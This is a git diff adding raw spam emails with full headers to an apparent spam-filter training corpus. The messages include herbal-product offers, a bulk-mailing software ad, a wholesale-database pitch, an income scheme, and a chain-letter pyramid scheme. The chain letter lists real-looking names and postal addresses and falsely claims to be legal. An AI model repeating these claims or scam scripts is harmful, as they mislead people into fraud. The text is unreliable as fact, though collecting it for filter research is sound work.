SPIRIT "HEAVENLY" INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka. For $125.00 (Reg. $155.00 Save $30) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +10. "PURE ENERGY" INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity. For $170.00 (Reg. $245.00 Save $75) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text) + +11. "SENSITIVE" PREFERENTIAL INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity For $200.00 (Reg. $285.00 Save $85) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +12. ULTIMATE HERBACEOUSNESS INTRO COMBINATION OFFER +Includes one - 2.0 oz. jigget / bar of Seventh Heaven Temple 3, one - 1 oz. bottle of Sweet Vjestika Aphrodisia Drops, one - 100 tablet tin of Prosaka, and one - 300 count jar of Gentle Ferocity for a deep discounted Retail Price of $260.00 (Reg. $375.00 Save $115) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +SPECIAL OFFER: For a limited time only, you will receive a FREE personal brass hookah with the Ultimate Herbaceous Intro Offer as our gift to you. This hookah has a retail value of $25.00. + + +************************************************** +Do Not Forget To Ask for the 2 for 1 Special ! + +Call Now 1-623-974-2295 + +ASK FOR THE DEAL !! + +ORDERING INFORMATION: +For your convenience, you can call us direct with your orders or questions. + + 7 Days a Week -- 10:30 AM to 7:00 PM (Mountain Time) +To place an order via credit card or for customer assistance & product information, please call 1-623-974-2295 (all orders are shipped next day via US Postal domestic and international Priority Mail)… Beyond business hours, please enjoy automated convenience. Leave your name and phone number and a convenient time to return your call. Certainly, we will be happy to do so…. Thank you for your kind attention. + +For all domestic orders, add $6.00 shipping & handling (shipped U.S. Priority Mail). Add $20.00 for International orders. + +************************************************** + +==================================================== + +To remove your address from our list, click "Reply" in your email software and type "Remove" in the subject field, then send. + + + + + + diff --git a/bayes/spamham/spam_2/01261.0d7a6fa74b73f80f62fe11267eeaa956 b/bayes/spamham/spam_2/01261.0d7a6fa74b73f80f62fe11267eeaa956 new file mode 100644 index 0000000..3b91a5c --- /dev/null +++ b/bayes/spamham/spam_2/01261.0d7a6fa74b73f80f62fe11267eeaa956 @@ -0,0 +1,131 @@ +From mrhealth@btamail.net.cn Tue Aug 6 12:52:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7D196441F0 + for ; Tue, 6 Aug 2002 07:18:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 12:18:05 +0100 (IST) +Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com + [194.25.134.82]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g73J6mv23969 for ; Sat, 3 Aug 2002 20:06:48 +0100 +Received: from fwd03.sul.t-online.de by mailout05.sul.t-online.com with + smtp id 17b4CY-0000wf-05; Sat, 03 Aug 2002 21:04:34 +0200 +Received: from orion.bischops.de (320089800769-0001@[62.226.1.106]) by + fmrl03.sul.t-online.com with esmtp id 17b4DU-1k1kUpC; Sat, 3 Aug 2002 + 21:05:32 +0200 +Received: from 210.242.20.202 ([210.242.20.202]) by orion.bischops.de + (Lotus Domino Release 5.0.8) with SMTP id 2002080320494075:1288 ; + Sat, 3 Aug 2002 20:49:40 +0200 +From: "mrhealth@btamail.net.cn" +To: +Date: 03 Aug 02 18:48:41 -0000 +Subject: Safely Send Bulk Email Using your Cable or DSL +X-Mailer: Microsoft Outlook Express 6.00.2600.0000.31498 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +MIME-Version: 1.0 +X-Mimetrack: Itemize by SMTP Server on auriga/Bi-Net(Release 5.0.8 |June + 18, 2001) at 08/03/2002 08:49:50 PM, Serialize by Router on + auriga/Bi-Net(Release 5.0.8 |June 18, 2001) at 08/03/2002 09:04:42 PM, + Serialize complete at 08/03/2002 09:04:42 PM +Message-Id: +X-Sender: 320089800769-0001@t-dialin.net +Content-Type: multipart/alternative; boundary=NS_MAIL_Boundary_07132002 + +This is a multi-part message in MIME format. +--NS_MAIL_Boundary_07132002 +Content-Type: text/html + + +BonFire Anonymous Bulk Emailing Software + + +Introducing the brand new "BonFire" mailer.
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+xek7Y29sb3I6cmVkJz48YQ0KaHJlZj0iaHR0cDovL2Nvb2xzaXRlLnRvL2RhbmV0dSI+PHNwYW4g +c3R5bGU9J2NvbG9yOnJlZCc+q/an2jwvc3Bhbj48L2E+PC9zcGFuPjxzcGFuDQpzdHlsZT0nZm9u +dC1mYW1pbHk6t3Oy06n6xek7Y29sb3I6cmVkJz6hXaRGuNGn86ZooV48c3BhbiBsYW5nPUVOLVVT +PjxvOnA+PC9vOnA+PC9zcGFuPjwvc3Bhbj48L3A+DQoNCjwvZGl2Pg0KDQo8L2JvZHk+DQoNCjwv +aHRtbD4= + + +------=_NextPart_GimEwuvgROJ8eFyeYA6Wmjd9wbYV6AA-- +------=_NextPart_GimEwuvgROJ8eFyeYA6Wmjd9wbYV6-- + + + + diff --git a/bayes/spamham/spam_2/01263.4e9dc99aae6eafdf9233e60b6d3225f9 b/bayes/spamham/spam_2/01263.4e9dc99aae6eafdf9233e60b6d3225f9 new file mode 100644 index 0000000..33f0861 --- /dev/null +++ b/bayes/spamham/spam_2/01263.4e9dc99aae6eafdf9233e60b6d3225f9 @@ -0,0 +1,148 @@ +From dave1019@earthlink.net Tue Aug 6 10:59:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CE3724411D + for ; Tue, 6 Aug 2002 05:53:58 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:53:58 +0100 (IST) +Received: from netserv ([217.5.203.110]) + by webnote.net (8.9.3/8.9.3) with ESMTP id PAA08508 + for ; Sat, 3 Aug 2002 15:47:00 +0100 +From: dave1019@earthlink.net +Received: from www.thefirsttee.com ([12.27.138.2] helo=analysisplusinc.com) + by netserv with esmtp (Exim 3.12 #1 (Debian)) + id 17auua-0003Jq-00; Sat, 03 Aug 2002 11:09:26 +0200 +Message-ID: <00005498042b$0000200e$0000348c@cameraclub.com> +To: , , + , , + , , + +Cc: , , + , , , + , +Subject: Attn: Buying ink online is the way to go! 12083 +Date: Sat, 03 Aug 2002 05:05:37 -1600 +MIME-Version: 1.0 +Reply-To: dave1019@earthlink.net +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +Do you Have an Inkjet or Laser Printer? + + + +
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      <= +font face=3D"Verdana" color=3D"#FF0000" size=3D"4">Do + you Have an Inkjet or Laser Printer? +
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      You + are receiving this special offer because you have provided= + permission to receive email communications regarding special + online promotions or offers. If you feel you have received= + this + message in error, or wish to be removed from our subscribe= +r + list, Click HERE= + + + and then click send, and you will be removed within three = +business days. + Thank You and we apologize for ANY inconvenience.
      +
      + + + + + + + diff --git a/bayes/spamham/spam_2/01264.52c303d4e65ae6c83bedb1dc8db0d0c7 b/bayes/spamham/spam_2/01264.52c303d4e65ae6c83bedb1dc8db0d0c7 new file mode 100644 index 0000000..b84330c --- /dev/null +++ b/bayes/spamham/spam_2/01264.52c303d4e65ae6c83bedb1dc8db0d0c7 @@ -0,0 +1,58 @@ +From fork-admin@xent.com Tue Aug 6 11:58:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1AD8E441F6 + for ; Tue, 6 Aug 2002 06:49:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:12 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g73Nn9v32244 for ; + Sun, 4 Aug 2002 00:49:11 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id BDCF62940D6; Sat, 3 Aug 2002 16:46:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from M5Mailer (unknown [202.59.255.35]) by xent.com (Postfix) + with SMTP id C774B2940D1 for ; Sat, 3 Aug 2002 16:45:47 + -0700 (PDT) +From: "dojogirl" +To: fork@spamassassin.taint.org +Subject: Re: new url +X-Mailer: Mach5 Mailer-2.50 PID{bfc4014b-116b-4892-9902-43b79ba938d2} RC{} +Reply-To: +MIME-Version: 1.0 +Content-Type: multipart/mixed; boundary="----000000000000000000000" +Message-Id: <200283234515262TGLTBOJSDESY@M5Mailer> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 04 Aug 2002 06:45:12 +0700 + +------000000000000000000000 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + +Hi Sweetie, + +Come see me and my Hot girl friends school at our new web site-> + +http://freexmovies.net/mypic/ + +Come to see FAST before delete this page. + + +------000000000000000000000-- +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01265.891c503096bc7f8f3345a40e82f1bf5a b/bayes/spamham/spam_2/01265.891c503096bc7f8f3345a40e82f1bf5a new file mode 100644 index 0000000..3941995 --- /dev/null +++ b/bayes/spamham/spam_2/01265.891c503096bc7f8f3345a40e82f1bf5a @@ -0,0 +1,229 @@ +From wholesaleman6002@eudoramail.com Tue Aug 6 10:58:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EEB224411C + for ; Tue, 6 Aug 2002 05:53:54 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:53:54 +0100 (IST) +Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) + by webnote.net (8.9.3/8.9.3) with ESMTP id KAA07661 + for ; Sat, 3 Aug 2002 10:44:23 +0100 +From: wholesaleman6002@eudoramail.com +Received: from ntserver2.CIM.ORG ([207.253.176.67]) by + relais.videotron.ca (Videotron-Netscape Messaging Server v4.15 + MTA-PRD2) with ESMTP id H09HPE01.MS6; Sat, 3 Aug 2002 05:44:02 -0400 +Received: from 221 (218.4.51.134 [218.4.51.134]) by ntserver2.CIM.ORG with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) + id Q10BNT9Z; Sat, 3 Aug 2002 05:46:13 -0400 +Message-ID: <000061e20f37$00004c2f$000033a6@221> +To: <.0.@webnote.net> +Subject: .+. 80 to 95% BELOW WHOLESALE 2306 +Date: Sat, 03 Aug 2002 04:52:10 -1900 +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + +New Page 1 + + + + +
      + +

      80 to 95%

      +

      BELOW WHOLESALE

      + +

      NEW, AND IN QUANTITIES YOU NEED

      +

      A SINGLE UNIT, A PALLET,
      + OR A TRUCKLOAD

      +       +

      1. Are you still looking for a very Real Business that can provide y= +ou and + your family with the lifestyle you desire? Or,just a second income in= + your + spare time?

      + +

      2. Would you invest $66.50 (A 33% discount off of our regular price = +of + $99.95 during this limited time promotion. ) in a business that could ma= +ke you + "FINANCIALLY SECURE" by buying at up to 95% + below wholesale and selling at 100 to 500%+ over your cost ?

      +

      If so, read on:

      +

      This is not a get rich quick scheme, but, it is a way for you to get= + into + a business with a minimal investment and, may be your first step towards= + a + rewarding first, or second income. For the longest time, only those, who= + were + able to make large investments were able to take advantage of this type = +of a + business. We have made it possible for everyone to do it, and at a price + everyone can afford.

      +

      Corporate America has conditioned us to believe that security comes = +from + employment. Yet layoffs are hitting an all time high, major corporations= + are + failing and we hope to never become the victims of this downsizing, care= +er + burn out, illness or injury.

      +

      There was a time, when finding another job was not a problem, but to= +day, + the frightening reality for a lot of people is that "the + plastic in their wallets determines the quality of their lives." + +

      The hard facts show that our economy has moved from the industrial a= +ge + into the INFORMATION, SERVICE AND RETAIL AGE. No longer can you depend o= +n the + corporation to provide your family with job security. We all need a b= +ackup + plan.

      + +

      If you are TIRED OF LIVING FROM PAYCHECK TO PAYCHECK, and are willin= +g to + work a few hours per week, than this may be for you.

      +

      Please read further:

      +

      We will show you how you can buy, new, not out of date, products for= + PENNIES + on the WHOLESALE DOLLAR. We will NOT just= + send a + list, or catalog of where you can buy, but actual point and click DATABA= +SE + with hyperlinks to suppliers=FFFFFF92 websites and specials pages, with = +email + addresses, phone and fax numbers, and their current HOT + listings. Unlike others=FFFFFF92 distribution businesses where you are p= +rovided with + WHOLESALE CATALOGS, out of date CD's, or lists of Government Auctions th= +at + sell Jeeps for $10, (which are a myth), we provide an unlimited virtual + database of items at up to 95% below wholesale from liquidators, not + wholesalers, that is up-dated on a weekly/daily basis by the suppliers. = +And + the products are available for immediate purchase and shipping to you, a= +nd + guarantee our product for 30 days with a full refund guarantee if it is = +not + what we say.

      +

      This database is designed for the individual or a small business. Al= +though + there are suppliers in this database selling in large quantities, most a= +re + selected for their flexability in being willing sell in smaller + quantities at great savings (80 to 95% Below Wholesale)

      +

      You will be able to buy such items as RCA Stereos that retail for $2= +50.00+ + for$10 to $20.00, New Boom Boxes for $12.50 each, Palm Pilots for $39.00= +, Cell + Phone Antenna Boosters that sell on TV for $19.95- - for .16 cents, Perf= +ect + Pancake makers as seen on TV for $19.95, for$6.50, CD=FFFFFF92s for $0.7= +5 each, + Pentium computers for as little as $11.00, or Computer Software that ret= +ails + up to $74.99 for $0.50 each.

      + +

      If you would like to see some sample listings and featured specials, = +please + email us at moreof80to95@the= +mail.com

      +

      You may purchase this database:

      + +

      By Credit Card: At PayPal to the account of datapaid2000@yahoo.com

      + +

      By Phone with Credit Card at 502-741-8154

      +

      Check by Fax To:

      +

      Specialty Products 502-244-1373

      + +

      (Just write a check and fax it to the above number, NO NEED TO MAIL)<= +/p> + +

      (Please include email address for the transmission of database.) + +

      By Mail:

      +

      Specialty Products

      +

      210 Dorshire Court

      +

      Louisville, KY 40245

      +       +

      (Please remember to include a valid email address for the transmissio= +n of + the Database)

      +       +

      For your protection, we provide a 30 DAY,= + 100% + MONEY BACK, SATISFACTION GUARANTEE, if we have misrepresented= + our + product.

      +

      What do you get for your $66.50 investment:<= +/font> + During Promotion A, fully executable, database (within 24 hours, or less= +) of + 100=FFFFFF92s of suppliers with hyperlinks to their websites, fax and ph= +one numbers + and a description of what type of product they handle and current produc= +t + specials.

      + +

      And, "On-going telephone support during normal business hours.&= +quot;

      +       +

      Since this is such a fast changing business, with new products being= + added + and deleted on a weekly or even a daily basis, all data will be provided + within 24 hours of receipt of payment via email file transfer. ( no wait= +ing or + shipping and handling costs) The $66.50 i= +s your total + one time cost. (During Promotion)

      +

      This DATABASE is for individuals who recognize an opportunity to mak= +e a + substantial income. Keep in mind, everyone likes a bargain, and even mor= +e so + when the economy is down. So, even if you just want to buy for your own = +use, a + single purchase could repay your initial investment. And, remember we pr= +ovide + a 30day, full refund satisfaction guarantee.<= +/font>

      +

      We know that this has been a brief description, and you may want + additional information. You may email us at moreof80to95@themail.com + for additional information and a sample of listings currently being offe= +red by + various suppliers. (If you give us some idea of = +what + types of products interest you, we will try to include some sample listi= +ngs of + those products.)

      + +

      We look forward to being of service in your new venture.

      + +

      Specialty Products

      +       +
      +

      takeoffemaildata= +baseclickhere

      + + + + + + + diff --git a/bayes/spamham/spam_2/01266.78f4e45d9e8699babb2e38f04d4401a5 b/bayes/spamham/spam_2/01266.78f4e45d9e8699babb2e38f04d4401a5 new file mode 100644 index 0000000..1fe9316 --- /dev/null +++ b/bayes/spamham/spam_2/01266.78f4e45d9e8699babb2e38f04d4401a5 @@ -0,0 +1,73 @@ +From Carol4038g40@msn.com Tue Aug 6 11:00:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5F09C44120 + for ; Tue, 6 Aug 2002 05:54:05 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:54:05 +0100 (IST) +Received: from msn.com (IDENT:squid@[218.235.72.62]) + by webnote.net (8.9.3/8.9.3) with SMTP id SAA08885 + for ; Sat, 3 Aug 2002 18:31:53 +0100 +From: Carol4038g40@msn.com +Received: from [19.250.134.207] by rly-xl04.mx.aolmd.com with smtp; 04 Aug 2002 12:22:44 -0300 +Received: from unknown (HELO sparc.zubilam.net) (48.209.32.216) + by web.mail.halfeye.com with NNFMP; Sun, 04 Aug 2002 09:13:44 -1000 +Received: from unknown (HELO smtp4.cyberecschange.com) (152.48.46.151) + by rly-yk05.pesdets.com with local; Sat, 03 Aug 2002 23:04:44 -0600 +Reply-To: +Message-ID: <003a54d40c1e$6852e6b4$5ec22ca6@kywbvm> +To: +Subject: EARN 10K PER WEEK with a NEW SYSTEM! 9652cYUh7-164RdH-15 +Date: Sat, 03 Aug 2002 20:52:53 -0400 +MiME-Version: 1.0 +Content-Type: text/plain; + charset="us-ascii" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4133.2400 +Importance: Normal +Content-Transfer-Encoding: 8bit + +Greetings! + +You can earn up to 10K per week doing simple +online tasks with a brand new system called EMM? + +It blows MLM away: + +No selling... +No recruiting... +No explaining or answering difficult questions... +No 3-way calling... +No begging friends and family... +No rejection... + +All you have to do is advertise, advertise, +advertise and then enter the e-mail addresses +of your prospects into a full-time automated +system. This system: + += does ALL of your support, += answers ALL of the email from your group members, += handles ALL of your correspondence += works day and night to turn your advertising + into residual income! + +It is absolutely phenomenal! + +To get the full details, please put "Send EMM Info" +in subject line, then send to the address below: + +mailto:tim1@btamail.net.cn?subject=Send_EMM_Info + +Thank You! + + +PS: Removal Instruction - Just click below and send. +mailto:ma5s@yahoo.com?subject=Remove_Please + + +9779kl5 + diff --git a/bayes/spamham/spam_2/01267.6e9de9ba20f59c26028ebdb4550685fb b/bayes/spamham/spam_2/01267.6e9de9ba20f59c26028ebdb4550685fb new file mode 100644 index 0000000..429c8e8 --- /dev/null +++ b/bayes/spamham/spam_2/01267.6e9de9ba20f59c26028ebdb4550685fb @@ -0,0 +1,172 @@ +From bchrist746@hotmail.com Tue Aug 6 10:59:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9026D4411E + for ; Tue, 6 Aug 2002 05:54:00 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:54:00 +0100 (IST) +Received: from webserver.WEB.INTUITECH.COM (mail.intuitech.com [63.226.98.153]) + by webnote.net (8.9.3/8.9.3) with ESMTP id QAA08550 + for ; Sat, 3 Aug 2002 16:07:18 +0100 +From: bchrist746@hotmail.com +Received: from asia-inc.com.hk (207.164.57.100 [207.164.57.100]) by webserver.WEB.INTUITECH.COM with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) + id P4FT34HB; Sat, 3 Aug 2002 09:17:59 -0600 +Message-ID: <000023212966$00004b25$000045fc@amfab.u-net.com> +To: , , , + , , , + , , , + , , , + , , + , +Cc: , , , + , , , + , , , + <106375.3326@compuserve.com>, , + , , + , , +Subject: Fw: NORTON SYSTEMWORKS CLEARANCE SALE_ONLY $29.99! 1104 +Date: Sat, 03 Aug 2002 11:03:19 -1600 +MIME-Version: 1.0 +Reply-To: bchrist746@hotmail.com +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +Norton AD + + + + + + + + +
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      + + + + + + + diff --git a/bayes/spamham/spam_2/01268.626ef5e5fa30314816e0f049ea03bd9f b/bayes/spamham/spam_2/01268.626ef5e5fa30314816e0f049ea03bd9f new file mode 100644 index 0000000..be06901 --- /dev/null +++ b/bayes/spamham/spam_2/01268.626ef5e5fa30314816e0f049ea03bd9f @@ -0,0 +1,107 @@ +From triphammer456@yahoo.com Tue Aug 6 11:01:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3C2714410D + for ; Tue, 6 Aug 2002 05:55:19 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:55:19 +0100 (IST) +Received: from mailhosting.icc.com.sa ([212.62.99.108]) + by webnote.net (8.9.3/8.9.3) with ESMTP id IAA10629 + for ; Sun, 4 Aug 2002 08:31:07 +0100 +From: triphammer456@yahoo.com +Message-Id: <200208040731.IAA10629@webnote.net> +Received: from cagf97213.com (ip169-016.adsl.ch.inter.net [212.59.169.16]) by mailhosting.icc.com.sa with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) + id P07H2QCZ; Sun, 4 Aug 2002 10:03:34 +0100 +Reply-To: triphammer456@yahoo.com +To: debbiee@ambidji.aust.com +Date: Sun, 4 Aug 2002 01:57:46 -0500 +Subject: 'Top Law firm +X-Priority: 1 +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 +Content-Transfer-Encoding: 7bit +Content-Type: text/html; charset=us-ascii + +Dear debbiee , + + + + + + + + + + +
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    + + [PO1:KJ)_8J7BJK9^":}H&*TG0BK5NKIYs5] + + diff --git a/bayes/spamham/spam_2/01269.aa905c10b8358328fb77d2f900e4491f b/bayes/spamham/spam_2/01269.aa905c10b8358328fb77d2f900e4491f new file mode 100644 index 0000000..9c4cc55 --- /dev/null +++ b/bayes/spamham/spam_2/01269.aa905c10b8358328fb77d2f900e4491f @@ -0,0 +1,402 @@ +From OneIncomeLiving-bounce@groups.msn.com Tue Aug 6 12:53:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F37BC441CC + for ; Tue, 6 Aug 2002 07:23:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 12:23:49 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g74JU3v06596 for + ; Sun, 4 Aug 2002 20:30:03 +0100 +Received: from groups.msn.com (tk2dcpuba03.msn.com [65.54.195.215]) by + webnote.net (8.9.3/8.9.3) with ESMTP id UAA12777 for + ; Sun, 4 Aug 2002 20:28:23 +0100 +Received: from mail pickup service by groups.msn.com with Microsoft + SMTPSVC; Sun, 4 Aug 2002 12:08:34 -0700 +Message-Id: +X-Loop: notifications@groups.msn.com +Reply-To: "One Income Living" +From: "Trista" +To: "One Income Living" +Subject: Make some extra money fast Read how here it is real simple i am totaly serious +Date: Sun, 4 Aug 2002 00:00:53 -0700 +MIME-Version: 1.0 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4910.0300 +X-Originalarrivaltime: 04 Aug 2002 19:08:34.0507 (UTC) FILETIME=[547401B0:01C23BEA] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_D20F_01C23B49.FFE05AE0" + +This is a multi-part message in MIME format. + +------=_NextPart_000_D20F_01C23B49.FFE05AE0 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +We attempted to deliver this message to you with HTML formatting. = +However, your e-mail program does not support HTML-enhanced messages. = +Please go to your E-mail Settings for this group and change your E-mail = +Preference to "Text only". +http://groups.msn.com/OneIncomeLiving/_emailsettings.msnw + +MSN Groups + + +------=_NextPart_000_D20F_01C23B49.FFE05AE0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + + + + + + +
    + New Message on One Income = +Living
    +
    +
    + Make some extra money fast Read how here it is real simple i = +am totaly serious
    +
    =09 + + + =20 + + +
    Reply
    		 + + + + + =20 + +
      + Reply to Sender +   Recommend + Message 1 in = +Discussion +
    +
    + + +
    + From: + Trista +
    +
    +
    READING THIS MESSAGE WILL CHANGE YOUR LIFE = +FOREVER
    !!!!!! PLEASE READ THIS ALL!!!!!!!!!
    !!!! NOT A SCAM!!!! = +
    !!! I REPEAT NOT A SCAM!!!
    THIS ONLY COST YOU 6.00 CASH!!! = +INVESTMENT!!! IT DOES WORK!!!
    I found this on a bulletin board and = +decided to try it. A little while back, I was browsing through = +newsgroups, just like you are now, and came across an article similar to = +this that said you could make thousands of dollars within weeks with = +only an initial investment of $6.00! So I thought, Yeah right, this must = +be a scam", but like most of us, I was curious, so I kept reading. = +Anyway, it said that you send $1.00 to each of the 6 names and address = +stated in the article. You then place your own name and address in the = +bottom of the list at #6, and post the article in at least 200 = +newsgroups. (There are thousands) No catch, that was it. So after = +thinking it over, and talking to a few people first, I thought about = +trying it. I figured: "what have I got to lose except 6 stamps and = +$6.00, right?" Then I invested the measly $6.00. Well GUESS WHAT!?... = +Within 7 days, I started getting money in the mail! I was shocked! I = +figured it would end soon, but the money just kept coming in. In my = +first week, I made about $25.00. By the end of the second week I had = +made a total of over $1,000.00! In the third week I had over $10,000.00 = +and it's still growing. This is how my fourth week and I have made a = +total of just over $42,000.00 and it's still coming in rapidly. It's = +certainly worth $6.00, and 6 stamps, I have spent more than that on the = +lottery!!(This is not me but i am also making alot of = +money) 

    Let me tell you how this works and most importantly, = +WHY it works... Also, make sure you print a copy of this article NOW, so = +you can get the information off of it, as you need it. I promise you = +that if you follow the directions exactly, that you will start making = +more money than you thought possible by doing something so easy! = +Suggestion: Read this entire message carefully! (Print it out or = +download it.) Follow the simple directions and watch the as money comes = +in! It's easy. It's legal. And, your investment is only $6.00 (Plus = +postage)

    IMPORTANT: This is not a rip-off; it is not indecent; = +it is not illegal; and it is 99% no risk - it really works! If all of = +the following instructions are adhered to, you will receive = +
    extraordinary dividends.

    PLEASE NOTE:
    Please follow = +these directions EXACTLY, and $50,000 or more can be yours in 20 to 60 = +days. This program remains successful because of the honesty and = +integrity of the participants. Please continue its success by carefully = +adhering to the instructions. You will be part of the Mail Order = +business. In this business your product is not solid and tangible, it's = +a service. You are in the business of developing Mailing Lists. Many = +large corporations are happy to pay big bucks for quality lists. = +However, the money made from the mailing lists is secondary to the = +income, which is made from people like you and me asking to be included = +in that list. Here are the 4 easy steps to success:

    STEP 1: Get = +6 separate pieces of paper and write the following on
    each piece of = +paper "PLEASE PUT ME ON YOUR MAILING LIST." Now
    get 6 US $1.00 bills = +and place ONE inside EACH of the 6 pieces of paper so the bill will not = +be seen through the envelope (to prevent thievery). Next, place one = +paper in each of the 6 envelopes and seal them. You should now have 6 = +sealed envelopes, each with a piece of paper stating the above phrase, = +your name and address, and a $1.00 bill. What you are doing is creating = +a service. THIS IS ABSOLUTELY LEGAL! You are requesting a legitimate = +service and you are paying for it! Like most of us I was a little = +skeptical and a little worried about the legal aspects of it all. So I = +checked it out with the U.S. Post Office (1-800-725-2161) and they = +confirmed that it is indeed legal. Mail the 6 envelopes to the following = +addresses:

    #1) Mike Gordon, 204 South Maple St., Winchester, = +KY.40391
    #2) Jeff Waldrop, 39-A Lucy Rd., Laurel, MS 39443
    #3) = +Brian Thompson, 15 Briggs Pond WY. Sharon, MA 02067
    #4) A. Guy , = +6127 Seabree LN, ,Ft. Wayne, In 46835
    #5) Wes Armstrong, 157 = +Butternut Rd., Shavertown, PA 18708
    #6) Trista Friend, P.O. Box = +1265, Long Beach, WA 98631

    STEP 2: Now take the #1 name off the = +list that you see above, move
    the other names up 1 place (#2 becomes = +#1, #3 becomes #2, etc.) and add YOUR name and address as number 6 on = +the list.

    STEP 3: Change anything you need to, but try to keep = +this article as
    close to original as possible. Now, post your = +amended article to at least 200 newsgroups. (I think there are close to = +24,000 groups) All you need is 200, but remember, the more you post, the = +more money you make! You won't get very much unless you post like crazy. = +This is perfectly legal! If you have any doubts, refer to
    Title 18 = +Sec. 1302 & 1341 of the Postal lottery laws. Keep a copy of these = +steps for yourself and, whenever you need money, you can use it again, = +and again.

    PLEASE REMEMBER that this program remains successful = +because of the honesty and integrity of the participants and by their = +carefully adhering to the directions. Look at it this way. If you are of = +integrity, the program will continue and the money that so many = +
    others have received will come your way.
